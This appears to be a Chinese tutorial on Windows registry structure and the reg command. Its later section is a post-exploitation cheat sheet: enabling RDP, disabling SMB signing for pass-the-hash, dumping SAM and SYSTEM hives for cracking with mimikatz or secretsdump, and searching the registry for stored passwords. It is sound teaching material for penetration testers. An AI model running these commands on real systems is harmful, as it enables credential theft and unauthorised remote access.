注册表是Windows在win95/98系统开始引入的一种核心数据库,里面存放着各类的配置信息、参数等、直接控制着系统的启动、硬件的装载及Windows程序的运行。
一、注册表结构:键、值、类型
二、根键的分类及作用
1. HKEY_CLASSES_ROOT:是应用程序运行时必需的信息,包括扩展名和关联、所有的驱动程序名称、类的ID数字、用于应用程序和文件的图标。
2. HKEY_CURRENT_USER:管理系统当前的用户信息。在这个根键中保存了本地计算机中存放的当前登录的用户信息,包括用户登录用户名和暂存的密码。在用户登录Windows时,其信息从HKEY_USERS中相应的项拷贝到HKEY_CURRENT_USER中。
3. HKEY_LOCAL_MACHINE:保存了注册表里的所有与这台计算机有关的配置信息。
4. HKEY_USERS:仅包含了缺省用户设置和登录用户的信息。包含了所有独立用户的设置,但在用户未登录时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。
5. HKEY_CURRENT_CONFIG:包括了系统中现有的所有配置文件的细节。它与HKEY_LOCAL_MACHINE的不同之处是它的改变不会涉及到多个注册表信息的改变。
PS:上述的根键分别有对应的缩写,缩写规则是:第一个单词前两个字母和后两个单词首字母,如:HKCU为"HKEY_CURRENT_USER"的缩写,其他根键为"HKCR"、"HKLM"、"HKU"、"HKCC"等
三、reg命令
可以实现对注册表进行添加、删除、查看、备份、还原等操作。
1. 注册表添加:向"HKEY_CURRENT_USER"下创建一个子键"Teng",在该子键中添加名为"hello",类型为"REG_ZS",数据为"welcome"
reg add HKCU\Teng /v hello /t REG_SZ /d "welcome"
其中 /v 值 /t 类型 /d 数据
2. 修改注册表中的值,例如开启远程桌面 1->0
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
需要注意的是:带有空格键的路径加引号,否则会失败
3. 查看某项注册表中的值:
reg query HKCU\Teng reg query HKCU\Teng/v hello # 指定某一子项
4. 导入导出注册表
reg import c:\Teng.reg reg export HKCU\Teng c:\Teng.reg
5. 删除某一项
reg delete HKCU\Teng/v hello /f
四、渗透中经常要用到注册表项
1. 启动远程桌面:
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
其次还需要防火墙设置:
netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable
2. 查看RDP远程连接的端口:
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
其中十六进制0xd3d 为十进制的3389
3. 开启hash传递:
reg add "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /f /v RequireSecuritySignature /t REG_DWORD /d 0
4. 注册表持久化用到的一些注册表项目。(这里会后面详细总结)
5. 注册表中的敏感信息。好多软件会将配置信息写入注册表,这其中可能包括:系统用户的账号密码、邮箱账号密码、远程连接主机的IP地址等等信息,这里说明几例子:
(1)直接导出sam数据库,本地破解hash,需要管理员权限,在目标机器上执行:
reg save HKLM\SYSTEM sys.hiv reg save HKLM\SAM sam.hiv reg save HKLM\security security.hiv
将生成的三个.hiv文件脱回到本地,利用secretsdump或者mimikatz进行提取。
Secretsdump:(kali自带,impacket套件工具)
secretsdump.py -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
Mimikatz:
mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit
(2)其他的可能保存密码的注册表键:
HKCU\Software\ORL\WinVNC3\Password HKCU\Software\SimonTatham\PuTTY\Sessions HKLM\SYSTEM\Current\ControlSet\Services\SNMP HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon
在进行本地信息搜集阶段,通过进程、端口、本地安装软件列表等信息进而判断注册表项目中是否可能有密码,不过也可以直接对注册表中的值进行关键词搜索,如:
reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s
No Leanote account ? Sign up now.